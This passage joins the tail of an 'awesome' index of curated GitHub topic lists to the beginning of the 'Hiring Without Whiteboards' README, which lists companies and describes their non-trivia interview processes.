PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

# Hiring Without Whiteboards A list of companies (or teams) that don't do "whiteboard" interviews. "Whiteboards" is used as a metaphor, and is a _symbol_ for the kinds of CS trivia questions that are associated with bad interview practices. Whiteboards are not bad – CS trivia questions are. Using sites like HackerRank/LeetCode _probably_ fall into a similar category. The companies and teams listed here use interview techniques and questions that resemble day-to-day work. For example, pairing on a real world problem or a paid/unpaid take home exercise. Read (and contribute to) [our recommendations](RECOMMENDATIONS.md) for ways to conduct better interviews. ### tl;dr - Discussing a real world problem (with or without whiteboard) is 👍 - Solving CS trivia, technical puzzles, riddles, brainteasers (with or without whiteboard) is 👎 Please open a [PR](https://github.com/poteto/hiring-without-whiteboards/pull/new/master) to be added. ### Duds If you've been through an interview with one of these companies recently, and your experience suggests otherwise from their description, please open a [PR](https://github.com/poteto/hiring-without-whiteboards/pull/new/master) to remove them from this list. ### I want to search/sort/filter/group by X! Check out our [Airtable](https://airtable.com/shr3eGPDm3wGjT2gA)! Additions to this document that are properly formatted will automatically be pushed and added to Airtable. Keywords from the description will also be extracted. You can see (and contribute!) to the [API here](https://github.com/poteto/hww-api). Also check out [No Whiteboards](https://www.nowhiteboard.org) to search for jobs at these companies. ### Discussion and other reads - Discussion - [HackerNews (2017)](https://news.ycombinator.com/item?id=13874026) - [HackerNews (2020)](https://news.ycombinator.com/item?id=23981795) - [Finding a better alternative to the whiteboard interview](https://theoutline.com/post/1256/finding-a-better-alternative-to-the-whiteboard-interview) - [How to hire engineering talent without the BS](https://jes.al//2023/03/how-to-hire-engineering-talent-without-the-bs/) --- ## A - C - [Aalyria](https://www.aalyria.com/jobs) | Remote | Timeboxed design exercise and related coding exercise, followed by a technical/behavioral discussion with the team, and behavioral interview with leadership - [Able](https://able.co/careers) | Lima, PE / Remote | Coding interview, Technical interview (Backlog Refinement + System Design), Leadership interview (Behavioural) - [Abstract](https://angel.co/abstract/jobs) | San Francisco, CA - [Accenture](https://www.accenture.com/us-en/careers) | San Francisco, CA / Los Angeles, CA / New York, NY / Kuala Lumpur, Malaysia | Technical phone discussion with architecture manager, followed by behavioral interview focusing on soft skills - [Accredible](https://www.accredible.com/careers) | Cambridge, UK / San Francisco, CA / Remote | Take home project, then a pair-programming and discussion onsite / Skype round. - [Acko](https://acko.com) | Mumbai, India | Phone interview, followed by a small take home problem. Finally a F2F or skype pair programming session - [Acumen](https://www.acumenci.com/people) | London, UK | Small take home test, and sit in on some sprint rituals on-site - [Ad Hoc](https://adhoc.team) | Remote / Washington, DC | Technical take-home assignment, followed by multiple video calls that are discussions of technical background and experience. - [Adaface](https://www.adaface.com) | Remote/ Singapore, Singapore / Bangalore, India | Conversational on-the-job technical assessment, followed by video calls with technical lead and founders - [AdCellerant](https://adcellerant.com/career-job-listing/) | Denver, CO | Technical phone screen, 5-day take home code challenge, then on-site interview comprised of cultural and technical discussions - [Adeva](https://adevait.com) | New York, USA | 4 steps interviewing process that includes online coding assignment + lead engineer call. - [AdEx Network](https://www.adex.network) | Sofia, Bulgaria / Remote | Email screening process, followed by a take-home assignment - [Admiral](https://getadmiral.com) | Gainesville, FL / Remote | Intro phone call with hiring manager, take-home assignment, (mostly) non-technical on-site with team/leadership - [Adnymics](https://adnymics.com) | Munich, DE | Take home project, then work with the team for a day - [Adthena](http://adthena.com) | London, UK | Takehome project and discussion on-site - [AdWyze](https://angel.co/adwyze/jobs) | Bangalore, India | Short takehome project + (for fulltime) onsite pairing - [Adyen](https://www.adyen.com) | Amsterdam, NL | Take-home assignment, design discussion based on take home, culture fit etc. Provides visa sponsorship to the Netherlands. - [Affinipay](https://www.affinipay.com) | Austin, TX | Short takehome project + video interview about coding with engineering manager - [Agency Enterprise Studio](https://ae.studio) | Remote / Los Angeles, CA / Florianópolis, Brazil | Live coding of a task you'd do daily - [Ageno](https://ageno.pl) | Bielsko-Biala, Poland | Simple Magento Take-home project and discussion on the real world problems. - [AgileMD](https://angel.co/agilemd/jobs) | San Francisco, CA | Takehome project - [AImotive](https://aimotive.com/career/) | Budapest, Hungary | Small take-home project, then in-person interview about technical background - [Airbase](https://www.airbase.com/careers) | San Francisco, CA; Bangalore, India; Remote | Intro Call with HR or EMs, small take-home project, two tech rounds with Airbase Engineers (based on real world engineering problems), followed by a final values round with the Founder or Director of Engineering. - [Airbrake](https://airbrake.io) | San Francisco, CA / Remote | Take-home project & pair on a problem similar to daily work - [Airtable](https://airtable.com/careers) | San Francisco, CA; Austin, TX; Mountain View, CA; New York, NY; Remote | Take home project that resembles a problem Airtable solves for. Five hour on-site which includes a discussion of the project, UI design, discussing architectural tradeoffs, and code debugging. - [Aiwip](http://aiwip.com) | London, UK | Skype/phone interview followed by takehome project or worksample (or whiteboard) - [Albert](https://jobs.lever.co/meetalbert/) | Los Angeles, CA | Discussion with senior engineer, and then practical pair programming related to my experience + the position - [Algolia](https://www.algolia.com/careers) | Paris, France / San Francisco, CA | Takehome project & Onsite discussions and presentation - [all about apps GmbH](https://www.allaboutapps.at/jobs) | Vienna, Austria | 2-phase technical discussion & examination with department heads and management. - [Allegro](https://allegro.pl/praca) | Warsaw, Poland; Poznan, Poland; Torun, Poland; Wroclaw, Poland; Krakow, Poland | Take home, simple project. Series of 2 technical interviews (how to build things, how to solve specific, real world problem) and meeting with a team leader. - [Alluxi](https://www.alluxi.mx) | Monterrey, Mexico | Initial skype interview, technical interview with Senior engineer and work sample review. - [Almabase](https://www.almabase.com/careers#believe) | Bengaluru, India | Take-home assignment, design discussion based on take home, low level and high level design rounds based on real life problems, culture fit etc. during onsite. - [AlphaSights](https://engineering.alphasights.com) | London, UK / New York, NY / Remote | Initial interview, pair programming then final round with general technical questions - [AMAGI](https://amagi.io) | Makati, Philippines | 1) Review of your resume, portfolio, and/or GitHub profile; 2) 1 hour discussion (in-person or Skype) about your goals, experience, personal culture, and how to apply technical solutions to real problems; - [Amino Payments](https://angel.co/company/amino-payments/jobs/) | Philadelphia, PA | Real-world technical design and problem discussion, pair programming on-site - [Analytical Flavor Systems](https://gastrograph.com) | Manhattan, New York | Code sample or take-home project, both with discussion. - [Angaza](https://www.angaza.com/careers/) | San Francisco, CA | Take-home assignment with guaranteed feedback, on-site interviews involving actual day-to-day work - [Animech](https://animech.com/join-us) | Uppsala, Sweden | Multiple interviews with technical staff with real problem discussions. - [Anyfin](https://career.anyfin.com) | Stockholm, Sweden | Takehome project & Onsite discussions and presentation. - [Aparkado](https://aparkado.de) | Cologne, Germany / Remote | Intro with Co-Founder, team fit with the team plus a small real-world problem to solve, followed by final round with CEO / Co-Founder. - [Apollo Agriculture](https://apolloagriculture.com) | Nairobi, Kenya/Remote | Takehome project or Worksample (or whiteboard) - [Applied](https://www.beapplied.com) | London, UK | Situational judgement tests focusing on real-world soft skills (online then in structured interview) - [Arachnys](https://angel.co/arachnys/jobs/220465-software-engineer) | London, UK | Take home test, real world pair programming - [Aragon One](https://aragon.one/#jobs) | Remote | Culture-first interview, take home technical challenge, technical interviews, and finally a compensated onsite trial week working on a real project that will be shipped - [Artemis](http://artemisag.com) | Remote | An initial non-technical half-hour screening call, followed by 3 one-hour pairing sessions on a take-home project that you build yourself using either Ruby or JavaScript (or any Ruby or JavaScript framework). Senior candidates may also be required to review an example pull request as the final round. - [Articulate](https://articulate.com/company/careers) | Remote | Take-home project & pair program on a problem similar to daily work - [Artsy](https://www.artsy.net/jobs#engineering) | New York, NY / London, UK / Berlin, Germany / Los Angeles, CA / Hong Kong, Hong Kong / Remote | Our process: 1) Informal chat 2) Application 3) Phone screen 4) In-person interview with 1 lead, 2 individual contributors and 1 non-engineer (30-45 mins each), focusing on your work habits and expertise as demonstrated in your previous work 5) ~4 in-depth professional reference calls (30-45 mins each). - [Ascend](https://jobs.ashbyhq.com/ascend) | Bay Area, San Francisco | Take-home assignment, follow-up discussion with a lead engineer, and few Zoom meetings with some team members - [ASI Data Science](https://www.asidatascience.com/careers) | London, UK | Project to work at home, general technical questions, pair programming with engineers - [ASOS](https://www.asoscareers.com) | London, UK | Take home or in-person code refactoring exercise, in-person walk-though of solution including software crafstmanship principles and design decisions, in-person freestyle architecture walk-through - [Ataccama](https://jobs.ataccama.com) | Prague, Czech Republic | Face to face interview (skype or onsite), coding task for 30 min, meeting with team members - [aTech Media](https://atech.media) | London, UK | Face to face interview, review of existing open source contributions or, if none are available, asked to write a library for something that interests them - [Atlan](https://atlan.com) | New Delhi, India | A mini project (to be done within 8 days), followed by a discussion with the team you're applying to. Then as the final step, a call with one of the founders. - [Aura Frames](https://auraframes.com/jobs?gh_src=2ef5cfa32) | New York, NY / San Francisco, CA | Simplified real-world coding task on Coderpad.io, followed by a few hours onsite writing code in our actual codebase. - [Auth0 by Okta](https://auth0.com/blog/how-we-hire-engineers) | Bellevue, WA; San Francisco, CA; Buenos Aires, Argentina; Warsaw, Poland; Toronto, Canada; Remote | Series of interviews, go over technical background and past experiences, take-home project - [Auto1](https://www.auto1-group.com/jobs) | Berlin, DE | Series of Skype interviews which covers general technical questions, followed by a take-home assignment - [Automattic](https://automattic.com/work-with-us/) | Remote | short take-home code test, then a part-time, paid project. - [AutoScout24](https://github.com/AutoScout24/hiring) | Munich, Germany | Skype interview followed by home assignment from our day-to-day business and then on-site interview including lunch with a team - [Avant](https://avant.com/jobs) | Chicago, IL | Pair programming interviews. - [Avarteq GmbH](https://www.avarteq.com/career) | Berlin, Germany / Saarbrücken, Germany | Technical interview with our developers on-site or remote followed by a work sample in a pair programming session or a previous take-home project with a follow-up discussion and detailed feedback. - [Axelerant](https://www.axelerant.com/careers) | Remote | Take-home project, interviews with hr and engineering team. - [Axiacore](https://axiacore.com) | Bogota, Colombia | We talk about on how is your process when solving problems. - [Axios](https://www.axios.com/careers) | Arlington, VA / New York, NY / San Francisco, CA / Remote | Take-home project, with discussion. - [B12](https://boards.greenhouse.io/b12#.WMlLfRIrJTa) | New York, NY | Take-home exercises and pair-programming with the team. - [Babylon Health iOS Team](https://github.com/Babylonpartners/iOS-Interview-Demo) | London, UK | Take-home project, on-site presentation and discussion, design and product interview. - [Backbase](https://workatbackbase.com) | Amsterdam, Netherlands; Cardiff, Wales; London, UK; Atlanta, GA | Takehome project, interviews - [Backbone](https://angel.co/backbone-plm/jobs) | Boulder, CO | Initial phone screening to determine general fit, take-home project, finally an on-site where we discuss your take-home project and you meet the team. - [Badi](https://jobs.badi.com) | Barcelona, Spain | Phone Screen, Take-home project, then a discussion onsite round. - [Badoo](https://team.badoo.com/jobs) | London, UK | Take-home project, then a discussion onsite round. - [BAE Systems Applied Intelligence](https://career012.successfactors.eu/sfcareer/jobreqcareer?jobId=46145&company=BAE) | London, UK | Initial interview with experience based technical questions, second interview pair programming on problem similar to daily work - [Bakken & Bæck](https://bakkenbaeck.com/jobs) | Oslo, Norway; Amsterdam, Netherlands; Bonn, Germany | Skype interview followed by take-home assignment and a visit to one of our offices - [Balabit](https://career.balabit.com) | Budapest, Hungary | Take-home project (medium size, with restrictions, e.g. only stdlib may be used), then discussion on-site - [Barracuda View Team](https://www.barracuda.com/company/careers) | Chelmsford, MA / Remote | Phone screen, remote pair programming session, technical discussion interview, culture fit interview - [Basecamp](https://basecamp.com/about/jobs) | Chicago, IL / Remote - [BCW Group](https://www.bcw.group) | Remote | Behavioral interview with the technical lead and hiring manager, followed by a take-home project, and finally a brief discussion about how the exercise went. - [Beam Dental](https://jobs.lever.co/beam) | Columbus, OH / Remote | Phone Screen, Take Home Project, In-Person or remote Pairing and Cross-Functional Interview - [Belka](https://www.belkadigital.com) | Trento, Italy; Munich, Germany | We give you a small task that you can do alone and then we evaluate your work with you - [Bemind](https://www.bemind.me) | Biella, Italy / Latina, Italy / Remote | Series of interviews, discussion about technical background and past experiences, take-home project & pair programming - [Bendyworks](https://bendyworks.com/careers) | Madison, WI | Interviews and pair programming on personal projects - [Benshi.ai](https://www.benshi.ai) | Barcelona, Spain | Initial 15-30 mins interview with HR, followed by 15-30 mins chat with hiring manager to clear out basic concepts, then followed by take-home task for 5 days - [Betterment](https://www.betterment.com/careers) | New York, NY | Phone interview followed by on-site pair programming to simulate a Betterment feature build. - [BetterPT](https://www.betterpt.com) | New York, NY | Initial phone interview, project using our tech stack, on-site code review/pair programming and "meet the team". - [bevelop](https://bevelop.de) | Aschaffenburg, BY / Remote | Initial introductory call, on-sight or remote trial day with project - [Big Nerd Ranch](https://bignerdranch.com/careers) | Atlanta, GA & Remote | Interviews and pair programming on an internal project or problem. - [BigaBid](https://www.bigabid.com/careers) | Tel Aviv, Israel | Design a real time solution to a problem relevant to the business, followed by a take home project implementing a lean version of the solution - [BigBinary](https://www.bigbinary.com/jobs) | Remote | Phone discussion with a developer and the CEO - [BioConnect](https://www.bioconnect.com/company/careers) | Toronto, Canada | Take-home assignment & discussion - [bitExpert AG](https://www.bitexpert.de/karriere) | Mannheim, Germany | Interview with experience based technical questions - [Bitpanda](https://www.bitpanda.com/en/career) | Cracow, Poland / Remote | HR talk, take-home task, tech interview, culture fit interview - [Bits of Love](https://www.bitsoflove.be/careers) | Bruges, Belgium | In-person interview to evaluate experience and motivation, potentially followed by take-home project. - [Bitso](https://bitso.com/jobs) | Mexico City, Mexico / Remote | Intro phone or hangouts/skype call with People team, take home project followed by walkthrough of your code and some tech questions focused on your experience, founders video call with one of the founders - [Blackdot Solutions](http://blackdotsolutions.com) | Cambridge, UK | Take-home project followed by on-site face-to-face walkthru of your code focusing on decisions/reasoning/technology used. - [Bleacher Report](http://bleacherreport.com) | San Francisco, CA, USA | Take-home project; on-site discussion about the project and meeting with different teams - [Blendle](https://blendle.homerun.co/?lang=en) | Utrecht, The Netherlands | Take-home project & pair program on a problem similar to daily work - [blogfoster](https://github.com/blogfoster/join-the-engineering-team) | Berlin, Germany | Take-home project, discussion on-site - [Bloom Works](https://bloomworks.digital/software-engineer/) | Remote | Discussion, pair-programming exercise - [Blue Bottle Coffee](https://www.bluebottlecoffee.com/careers) | Oakland, CA | Technical Phone Screen, Take Home Challenge, Technical in-persons. - [Bluesoft](http://www.bluesoft.com.br) | São Paulo, Brazil | Takehome project and an interview to evaluate the candidate's previous experience. - [Bocoup](https://bocoup.com/careers) | Boston, MA / Remote | Pair programming with personal laptop on typical problem seen at work - [Bonusly](https://bonus.ly/careers) | Boulder, CO | Values & Tech focused interview - Process: 30 minute with HR, 45 minute Google Meet interview with 2 team members, ~2-4 hour take-home project, on-site interview involving 2 values-alignment interviews and 1 technical interview going over your take home project - [BookingSync](https://www.bookingsync.com/en/jobs) | Remote | Small takehome project, interviews over skype with team members. - [BoomTown](http://boomtownroi.com) | Charleston, SC / Atlanta, GA / Remote | Conversational in-person interviews with potential team members and managers that revolve around past experience and how that could be applied to future work - [Botika](https://botika.ai) | San Marino, RSM | View code, projects, libraries or any other open source story that you have been a part of, take-home project followed by on-site face-to-face walkthru of your code focusing on decisions/reasoning/technology used. - [Bouvet](http://www.bouvet.no) | Bergen, Norway | Pair programming with senior engineers - [brainn.co](https://brainn.co) | São Paulo, BR | Zoom/On-site interview, take-home project and interview with a team leader. - [BrainStation-23](http://brainstation-23.com) | Dhaka, BD | A practical project followed by series of in-person interview sessions - [Bramble](https://www.brmbl.io) | Remote | Slack interview, take home test, pairing, culture-fit interview. - [Breather](https://breather.com/jobs) | Montreal, Canada | Series of interviews including a conversation about the candidate’s experience and a technical discussion involving real world problems - [BrightBytes](http://www.brightbytes.net/careers) | San Francisco, CA | Time-boxed coding exercise 